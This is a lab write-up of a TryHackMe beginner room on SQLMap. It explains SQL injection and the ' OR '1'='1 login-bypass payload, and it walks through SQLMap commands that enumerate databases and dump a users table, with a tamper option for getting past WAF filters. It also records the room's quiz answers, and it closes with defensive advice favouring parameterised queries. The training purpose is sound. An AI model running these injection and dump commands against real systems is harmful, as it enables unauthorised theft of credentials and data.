| Field | Details |
|---|---|
| Module | Cyber Security 101 — Offensive Security Tooling |
| Difficulty | Easy |
| Platform | TryHackMe |
| Room Link | https://tryhackme.com/room/sqlmapthebasics |
| Date Completed | February 2026 |
| Author | Adwait Joshi |
This is the fourth and final room in the CS101 Offensive Security Tooling section. SQL Fundamentals introduced SQL as a language and established why unsanitised input passed into SQL queries creates exploitable conditions. This room introduces SQLMap — the tool that automates the detection and exploitation of SQL injection vulnerabilities. SQLMap identifies injectable parameters, determines the injection technique, extracts database metadata, and dumps table contents — all without manual payload crafting. The room covers what SQL injection is, how SQLMap works, its core flags for database and table enumeration, and a practical exercise against a live vulnerable web application.
SQL injection occurs when user-supplied input is incorporated into a SQL query without proper sanitisation or parameterisation. The database executes the query as constructed — it cannot distinguish between intended SQL structure and injected attacker input. The language that builds the interaction between a website and its database is SQL.
The canonical example — a login query:
SELECT * FROM users WHERE username = 'input' AND password = 'input';
If the username field accepts unsanitised input and the attacker provides ' OR '1'='1, the query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'input';
Because OR '1'='1' is always true, the WHERE condition evaluates to true for every row — the query returns all users regardless of the password. The boolean operator that checks if at least one side is true is OR. The expression 1=1 in a SQL query is always true.
SQL injection categories:
| Type | How It Works |
|---|---|
| In-band (Classic) | Results returned directly in the HTTP response — error-based or union-based |
| Blind Boolean | No direct output — response behaviour (true/false) reveals information |
| Blind Time-Based | No output change — response time reveals information via deliberate delays |
| Out-of-Band | Data exfiltrated through a separate channel (DNS, HTTP requests from the database server) |
SQLMap is an open-source, automated SQL injection detection and exploitation tool. It accepts a target URL, identifies injectable parameters, tests injection techniques, and extracts database contents without manual payload crafting. It supports MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, and many other DBMS platforms.
SQLMap is included in Kali Linux and the TryHackMe AttackBox. Its power is in automation — what would take hours of manual testing across multiple injection techniques, SQLMap covers in minutes. This speed makes it a standard tool in web application assessments for confirming SQL injection findings and demonstrating impact through data extraction.
Target specification:
| Flag | Purpose |
|---|---|
-u URL |
Target URL — the URL containing the injectable parameter |
--data "param=value" |
POST data — used when the injection point is in a POST request body rather than a GET parameter |
--cookie "name=value" |
Session cookie — required when the target application requires authentication |
Enumeration flags — run in sequence:
| Flag | Purpose |
|---|---|
--dbs |
Extract all available database names on the server |
-D dbname --tables |
Extract all tables within a specified database |
-D dbname -T tablename --columns |
Extract all column names from a specified table |
-D dbname -T tablename --dump |
Dump all data from a specified table |
-D dbname -T tablename -C col1,col2 --dump |
Dump specific columns only |
The flag used to extract all available databases is --dbs. The full command to extract all tables from the members database given a vulnerable URL http://sqlmaptesting.thm/search/cat=1:
sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D members --tables
Detection and behaviour flags:
| Flag | Purpose |
|---|---|
--level |
Sets the testing depth (1–5) — higher levels test more parameters and injection points |
--risk |
Sets the risk of payloads (1–3) — higher risk includes payloads more likely to modify data |
--batch |
Non-interactive mode — accepts all default answers to prompts automatically |
--crawl=2 |
Crawls the target website up to 2 levels deep to find additional injectable parameters |
--forms |
Detects and tests form parameters automatically |
--tamper=script |
Applies a tamper script to modify payloads — used to bypass WAFs and input filters |
--banner |
Retrieves the DBMS version banner |
--current-user |
Returns the current database user |
--current-db |
Returns the currently selected database |
A standard SQLMap assessment follows a four-step sequence, each building on the previous:
Step 1 — Identify all databases:
sqlmap -u "http://sqlmaptesting.thm/search/cat=1" --dbs
SQLMap tests the cat parameter for SQL injection. On confirmation, it extracts the database list. The number of databases available in the practical exercise is 6.
Step 2 — List tables in the target database:
sqlmap -u "http://sqlmaptesting.thm/search/cat=1" -D members --tables
Step 3 — List columns in the target table:
sqlmap -u "http://sqlmaptesting.thm/search/cat=1" -D members -T users --columns
Step 4 — Dump the target data:
sqlmap -u "http://sqlmaptesting.thm/search/cat=1" -D members -T users --dump
The dump output shows all rows in the users table — including usernames, passwords (often as hashes), and any other stored fields. SQLMap automatically attempts to crack extracted password hashes using its built-in dictionary.
When the injection point is in a POST request body rather than a URL parameter, the --data flag provides the POST body:
sqlmap -u "http://sqlmaptesting.thm/login" --data "username=admin&password=test" --dbs
SQLMap identifies which parameter in the POST body is injectable and proceeds with enumeration.
The lab machine hosts a vulnerable web application. The injectable URL identified from the application is:
http://MACHINE_IP/search/cat=1
Running the four-step workflow against this URL:
sqlmap -u "http://MACHINE_IP/search/cat=1" --dbs --batch
Output reveals 6 databases. Selecting the members database:
sqlmap -u "http://MACHINE_IP/search/cat=1" -D members --tables --batch
Tables are listed. Selecting the relevant table and dumping its contents:
sqlmap -u "http://MACHINE_IP/search/cat=1" -D members -T users --dump --batch
The dump reveals usernames and passwords stored in the users table — the answers to the room's practical questions are read directly from this output.
The room runs through four tasks. All practical work is performed against the deployed lab machine.
Task 1 (Introduction): Introduces SQL injection as the vulnerability class and SQLMap as the automated testing tool. The question asks which language builds the interaction between a website and its database — SQL.
Task 2 (SQL Injection Vulnerability): Covers the mechanics of SQL injection — unsanitised input, query manipulation, and boolean operators. Questions: which boolean operator checks if at least one side is true — OR; is 1=1 in a SQL query always true — YEA.
Task 3 (Automated SQL Injection Tool): Covers SQLMap flag syntax and the enumeration workflow. Questions: which flag extracts all available databases — --dbs; the full command to extract tables from the members database given the vulnerable URL — sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D members --tables.
Task 4 (Practical Exercise): The deployed lab machine is targeted. Running --dbs reveals 6 databases. The subsequent enumeration chain — --tables, --columns, --dump — extracts the contents of the users table and reveals the flag stored in the database.
sqlmap -u "http://MACHINE_IP/search/cat=1" --dbs --batch
sqlmap -u "http://MACHINE_IP/search/cat=1" -D members --tables --batch
sqlmap -u "http://MACHINE_IP/search/cat=1" -D members -T users --columns --batch
sqlmap -u "http://MACHINE_IP/search/cat=1" -D members -T users --dump --batch
sqlmap -u "http://MACHINE_IP/login" --data "username=admin&password=test" --dbs --batch
sqlmap -u "http://MACHINE_IP/search/cat=1" --banner --batch
sqlmap -u "http://MACHINE_IP/search/cat=1" --current-user --current-db --batch
sqlmap -u "http://MACHINE_IP/search/cat=1" --crawl=2 --batch
| Concept | Real-World Application |
|---|---|
--dbs to enumerate all databases |
Impact demonstration — in an authorised assessment, enumerating all databases shows the full scope of data accessible through a single injection point; a vulnerable parameter in one application may expose databases belonging to other applications on the same server |
--dump for data extraction |
Breach impact assessment — dumping a users table with password hashes demonstrates that a SQL injection vulnerability constitutes a credential breach; the extracted data informs the incident response scope and notification requirements |
--batch for non-interactive mode |
Automation and scripting — running SQLMap in batch mode enables inclusion in automated CI/CD security pipelines and scheduled assessment scripts without requiring interactive input |
--tamper scripts |
WAF bypass awareness — organisations that rely solely on WAF rules to block SQL injection payloads can be bypassed using tamper scripts that encode or transform payloads; defence-in-depth (parameterised queries at the code level) is the correct control, not WAF rules alone |
POST body injection (--data) |
Authentication bypass testing — login forms are a primary SQL injection target because a successful injection bypasses authentication entirely; testing POST parameters is as important as testing GET parameters in a complete web application assessment |
| Automatic hash cracking | Password breach severity — SQLMap's built-in dictionary attack on extracted hashes demonstrates that weak passwords in a compromised database are immediately usable for account takeover; this informs password policy recommendations in assessment reports |
-
SQLMap demonstrates impact — it does not find the vulnerability. The correct workflow is manual identification of a potentially injectable parameter first, followed by SQLMap to confirm and exploit. Running SQLMap blindly against an entire application produces noise and may trigger WAF rules or account lockouts. Understanding where to point the tool — which parameter, which form, which endpoint — requires the manual understanding of SQL that the previous room built. SQLMap is the power tool; SQL Fundamentals is the prerequisite to using it correctly.
-
The
--dbsoutput in a real assessment often reveals more than the scope intended. A single injectable parameter in a web application may give SQLMap access to a database server hosting multiple databases — the application's own database, other applications sharing the same server, and potentially system databases likeinformation_schema. This makes SQL injection a systemic risk, not just a per-application one. The scope of a confirmed SQL injection finding is the entire database server, not just the application where the entry point was found. -
Parameterised queries eliminate SQL injection at the source — and nothing else does. WAF rules can be bypassed with tamper scripts. Input validation can be bypassed by encoding. Stored procedures can be misconfigured. The only control that makes SQL injection structurally impossible is parameterised queries (also called prepared statements), which separate SQL structure from user data at the language level. The database never receives user input as SQL syntax — only as data values. SQLMap cannot inject into a correctly parameterised query because there is nothing to inject into. Understanding this is what makes the difference between reporting "SQL injection found" and recommending a remediation that actually fixes it.